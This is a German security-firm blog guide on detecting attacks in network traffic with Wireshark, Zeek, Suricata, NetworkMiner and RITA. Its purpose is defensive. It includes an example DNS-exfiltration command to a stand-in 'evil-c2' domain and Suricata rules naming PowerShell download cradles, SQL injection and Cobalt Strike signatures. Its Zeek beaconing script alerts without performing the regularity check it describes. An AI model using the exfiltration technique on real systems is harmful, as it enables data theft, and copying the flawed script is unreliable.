Zum Inhalt springen

Services, Wiki-Artikel und Blog-Beiträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen
Network Traffic Analysis: Wireshark, Zeek und Suricata für Security-Teams - Illustration zur Netzwerksicherheit mit Firewall und Monitoring
Netzwerk- & Endpoint Security

Network Traffic Analysis: Wireshark, Zeek und Suricata im Einsatz

Netzwerkverkehr analysieren: Wireshark, Zeek, Suricata und NetworkMiner - Beaconing, DNS-Exfiltration und Lateral Movement im Traffic erkennen.

Vincent Heinen Abteilungsleiter Offensive Services
11 Min. Lesezeit
OSCP+ OSCP OSWP OSWA

TL;DR

Netzwerk-Traffic-Analyse ist entscheidend, um Angriffe zu erkennen, die Endpunkt-Logs nicht erfassen. Dieser Guide stellt die wichtigsten Tools und Methoden vor, um Spuren wie Beaconing, DNS-Exfiltration oder NTLM-Relay im Netzwerkverkehr sichtbar zu machen. Wireshark ermöglicht die detaillierte Paket-Analyse mit Capture- und Display-Filtern, etwa um Port-Scans über viele TCP-SYN-Pakete zu identifizieren oder TLS-Verbindungen zu entschlüsseln. Zeek (ehemals Bro) bietet tiefgreifendes Logging und Scripting zur Erkennung von Verhaltensmustern, beispielsweise regelmäßiges Beaconing zu C2-Servern durch Analyse des Connection-Logs. Suricata dient als IDS/IPS mit regelbasierten Signaturen, um bekannte Bedrohungen wie Port-Scans aktiv zu detektieren.

Diese Zusammenfassung wurde KI-gestützt erstellt (EU AI Act Art. 50).

Inhaltsverzeichnis (5 Abschnitte)

Netzwerk-Traffic-Analyse ist eine Kernkompetenz des SOC-Analysten: Angriffe hinterlassen Spuren im Netzwerkverkehr die kein Endpoint-Log zeigt. Beaconing zu einem C2-Server, DNS-Tunneling, NTLM-Credential-Relay - all das ist im Netzwerk sichtbar wenn man weiß wo man sucht. Dieser Guide zeigt die wichtigsten Tools und Analysemethoden.

Wireshark - Paket-Analyse

Capture-Filter (effizient: nur relevante Pakete):

host 192.168.1.100            # Nur Traffic von/zu dieser IP
net 10.0.0.0/8                # Nur 10.x.x.x Netzwerk
port 443                      # Nur HTTPS
not port 53 and not port 123  # Kein DNS, kein NTP (Rauschen reduzieren)
tcp[tcpflags] & tcp-syn != 0  # Nur SYN-Pakete (Port-Scan erkennen)

Display-Filter (nach Capture, flexibel):

http.request.method == "POST"          # HTTP POST-Requests
http.response.code >= 400              # HTTP-Fehler
dns.qry.name contains "evil"           # DNS-Anfragen mit "evil"
ip.addr == 10.0.0.1 && tcp.port == 445 # SMB-Traffic von einer IP
ssl.handshake.type == 1                # Client-Hello (TLS-Verbindungen)
frame.len > 1000                       # Große Pakete (Exfiltration?)
tcp.flags.reset == 1                   # TCP-Resets (Verbindungsabrüche)
icmp.type == 8                         # ICMP Echo (Ping-Sweep)

TCP-Session folgen: Rechtsklick auf Paket - "Follow" - "TCP Stream" zeigt die vollständige Verbindung als Text: HTTP-Request/Response, FTP-Befehle, Cleartext-Credentials!

TLS-Entschlüsselung (mit Private Key): Wireshark - Edit - Preferences - Protocols - TLS - RSA Keys List - Add. IP, Port, Protocol, Key File angeben. ACHTUNG: Nur möglich wenn kein Perfect Forward Secrecy! Bei PFS (ECDHE) ist kein nachträgliches Entschlüsseln möglich.

Alternative: Pre-Master-Secret-Logfile:

export SSLKEYLOGFILE=/tmp/ssl.log  # Browser-Umgebungsvariable setzen
# Wireshark -> TLS -> (Pre-)Master-Secret log filename: /tmp/ssl.log

Statistische Auswertung:

  • Statistics - Conversations: welche IPs kommunizieren am meisten?
  • Statistics - Protocol Hierarchy: Protokollverteilung
  • Statistics - IO Graph: Traffic-Volumen über Zeit (Spike = Verdacht?)
  • Statistics - Endpoints: alle aktiven IPs/Ports

Typische Angriffsmuster im Traffic

1. Port-Scanning (nmap)

Erkennungsmerkmale: Viele TCP-SYN-Pakete von einer IP zu vielen Ports, SYN ohne ACK-Antwort (SYN-Scan), reguläre Zeitintervalle (nmap-Default-Timing).

Wireshark-Filter:

ip.src == 10.0.0.50 && tcp.flags.syn == 1 && tcp.flags.ack == 0
# Zeigt alle SYN-Pakete ohne ACK -> SYN-Scan

Suricata-Rule:

alert tcp $EXTERNAL_NET any -> $HOME_NET any (
  msg:"Possible Port Scan";
  flags:S,12; threshold: type threshold, track by_src,
  count 50, seconds 10;
  sid:10001;
)

2. Beaconing (C2-Kommunikation)

Erkennungsmerkmale: Regelmäßige Verbindungen im festen Zeitintervall (z.B. alle 60 Sekunden), immer gleiche Payload-Größe (Heartbeat), Ziel ist unbekannte externe IP oder Domain.

Wireshark-Analyse: Statistics - IO Graph mit ip.dst == C2_IP zeigt regelmäßige Spikes. Konstantes Time-Delta zwischen Paketen = Beaconing.

Zeek-Detection:

# Beaconing mit Zeek Connection-Log (/opt/zeek/logs/current/conn.log):
cat conn.log | zeek-cut id.orig_h id.resp_h duration | sort | uniq -c | sort -rn | head -20
# Viele kurze Verbindungen zu gleicher IP -> Beaconing!

3. DNS-Exfiltration

Erkennungsmerkmale: Ungewöhnlich lange DNS-Anfragen (Subdomain = Daten!), hohe Frequenz von DNS-Anfragen zu einer Domain, unbekannte TLD oder frisch registrierte Domain.

Beispiel:

# Daten als Base64-Subdomain:
nslookup aGVsbG8gd29ybGQ=.evil-c2.com
# "aGVsbG8gd29ybGQ=" = "hello world" in Base64

Wireshark-Filter: dns && frame.len > 100 (ungewöhnlich große DNS-Pakete)

Zeek-Detection:

cat dns.log | zeek-cut query | awk '{print length, $0}' | sort -rn | head -20

4. NTLM-Relay / Credential Harvesting

Erkennungsmerkmale: SMB-Traffic von Workstation zu unbekanntem Host, NTLM-Authentication-Pakete (Security Blob im SMB), Responder-Aktivität (LLMNR/NBT-NS-Anfragen).

Wireshark-Filter:

ntlmssp  # NTLM Security Service Provider Traffic - zeigt alle NTLM-Auth-Versuche

# SMB-Verbindungen von Workstations:
smb2 && ip.src == 192.168.1.0/24 && ip.dst != 10.0.0.1

5. Lateral Movement (SMB/WMI/RDP)

Erkennungsmerkmale: Workstation-zu-Workstation SMB-Traffic (ungewöhnlich!), WMI (Port 135 + dynamic ports), RDP (Port 3389) zu Servern.

Wireshark-Filter:

smb2 && ip.src == 192.168.1.100 && ip.dst != 10.0.0.5
# SMB von Workstation zu allem außer File-Server

Zeek (früher Bro)

Installation und Grundkonfiguration (Ubuntu):

apt install zeek

Konfiguration /opt/zeek/etc/node.cfg:

[zeek]
type=standalone
host=localhost
interface=eth0
zeekctl deploy
zeekctl status

Log-Dateien (in /opt/zeek/logs/current/):

LogInhalt
conn.logalle Verbindungen (Source, Dest, Duration, Bytes)
dns.logDNS-Anfragen und -Antworten
http.logHTTP-Requests (URL, Method, User-Agent, Response)
ssl.logTLS-Verbindungen (JA3-Fingerprint, Zertifikat-Info)
files.logÜbertragene Dateien (MD5-Hash!)
weird.logProtokoll-Anomalien
notice.logZeek-generierte Alerts

Zeek-Script für Beaconing-Detection (/opt/zeek/share/zeek/site/beacon-detect.zeek):

module BeaconDetect;

global connection_times: table[addr] of vector of time;

event connection_established(c: connection)
  {
  local src = c$id$orig_h;
  if (src !in connection_times)
    connection_times[src] = vector();
  connection_times[src] += network_time();

  if (|connection_times[src]| >= 10)
    {
    # Prüfe Regelmäßigkeit der Verbindungen:
    local times = connection_times[src];
    local intervals: vector of interval;
    for (i in times)
      if (i > 0)
        intervals += times[i] - times[i-1];
    # Wenn Standardabweichung der Intervalle < 5s -> Beaconing!
    NOTICE([$note=Notice::Weird, $msg=fmt("Possible beaconing from %s", src)]);
    }
  }

JA3/JARM Fingerprinting:

# SSL-Log enthält JA3-Hash des Clients:
cat ssl.log | zeek-cut ja3 ja3s id.orig_h id.resp_h | head -20
# JA3: Client-TLS-Fingerprint (identifiziert Browser/Malware!)
# Bekannte Malware-JA3: ab4a5a42e2df4b3d54736f18de3a0ceb (Cobalt Strike)
# JARM: Server-TLS-Fingerprint (identifiziert Server-Software)
# Nützlich: C2-Server erkennen auch wenn IP wechselt

Suricata IDS/IPS

Regel-Syntax: action protocol src_ip src_port -> dst_ip dst_port (options)

Beispiel-Regeln:

# SQL-Injection in HTTP:
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (
  msg:"SQL Injection Attempt";
  content:"UNION SELECT";
  http_uri;
  nocase;
  classtype:web-application-attack;
  sid:20001; rev:1;
)

# PowerShell-Download via HTTP:
alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"PowerShell IEX DownloadString";
  content:"IEX"; http_client_body;
  content:"DownloadString"; http_client_body;
  classtype:trojan-activity;
  sid:20002;
)

# Cobalt Strike Default Certificate:
alert tls any any -> any any (
  msg:"Cobalt Strike Default Certificate";
  tls.subject; content:"CN=Major Cobalt Strike";
  classtype:trojan-activity;
  sid:20003;
)

Emerging Threats Ruleset (kostenlos):

suricata-update update-sources
suricata-update enable-source et/open
suricata-update
systemctl restart suricata

Kategorien: ET SCAN (Scanning-Aktivitäten), ET MALWARE (bekannte Malware-Kommunikation), ET EXPLOIT (Exploit-Versuche), ET PHISHING (Phishing-Traffic).

Suricata-Logs analysieren:

# /var/log/suricata/fast.log Beispielausgabe:
# 03/04/2026-14:23:47.134567 [Alert] [1:20003:1] Cobalt Strike
#   [Classification: A Network Trojan was Detected]
#   {TCP} 192.168.1.50:55234 -> 185.220.101.33:443

# EVE-JSON für SIEM:
cat /var/log/suricata/eve.json | jq '.event_type == "alert"'

NetworkMiner für forensische Analyse

NetworkMiner (Windows, kostenlos) analysiert PCAP-Dateien (kein Live-Capture nötig), extrahiert automatisch Dateien, E-Mails und Credentials, hat eine einfachere GUI als Wireshark und zeigt im Hosts-Tab alle Hosts mit Betriebssystem-Fingerprint.

Credentials aus PCAP (Cleartext-Protokolle: HTTP, FTP, Telnet, SMTP, POP3, IMAP): NetworkMiner - Credentials-Tab zeigt Username, Passwort, Protokoll, Zeitstempel.

Datei-Extraktion: NetworkMiner - Files-Tab zeigt alle übertragenen Dateien (HTTP-Downloads, SMB-Transfers) mit MD5-Hash für VirusTotal-Lookup. Alternativ per Kommandozeile:

tshark -r capture.pcap --export-objects http,/tmp/extracted/
# Exportiert alle HTTP-übertragenen Objekte in Ordner

Tshark (Wireshark CLI) für Automatisierung:

# Alle DNS-Queries aus PCAP:
tshark -r capture.pcap -Y dns.flags.response==0 \
  -T fields -e dns.qry.name | sort -u > dns-queries.txt

# Alle HTTP-User-Agents:
tshark -r capture.pcap -Y http.request \
  -T fields -e http.user_agent | sort | uniq -c | sort -rn

# Verbindungen zu Port 445 (SMB):
tshark -r capture.pcap -Y "tcp.dstport == 445" \
  -T fields -e ip.src -e ip.dst | sort | uniq -c

RITA - Real Intelligence Threat Analytics (analysiert Zeek-Logs auf Beaconing, Scanning, Long Connections):

git clone https://github.com/activecountermeasures/rita
docker-compose up -d

# Zeek-Logs importieren:
rita import /opt/zeek/logs/current/ threat-hunt

# Beaconing-Report:
rita show-beacons threat-hunt | head -20
# Score | Source | Destination | Connections | Avg Duration

Nächster Schritt

Unsere zertifizierten Sicherheitsexperten beraten Sie zu den Themen aus diesem Artikel, unverbindlich und kostenlos.

Kostenlos · 30 Minuten · Unverbindlich

Artikel teilen

Über den Autor

Vincent Heinen
Vincent Heinen

Abteilungsleiter Offensive Services

E-Mail

M.Sc. IT-Sicherheit mit über 5 Jahren Erfahrung in offensiver Sicherheitsanalyse. Leitet die Durchführung von Penetrationstests mit Spezialisierung auf Web-Applikationen, Netzwerk-Infrastruktur, Reverse Engineering und Hardware-Sicherheit. Verantwortlich für mehrere Responsible Disclosures.

OSCP+ OSCP OSWP OSWA
Zertifiziert ISO 27001ISO 9001AZAV

Rufen Sie uns an

Mo-Fr, 8:00-17:00 Uhr - persönlich und unverbindlich.

0209 8830 6764
Jetzt anrufen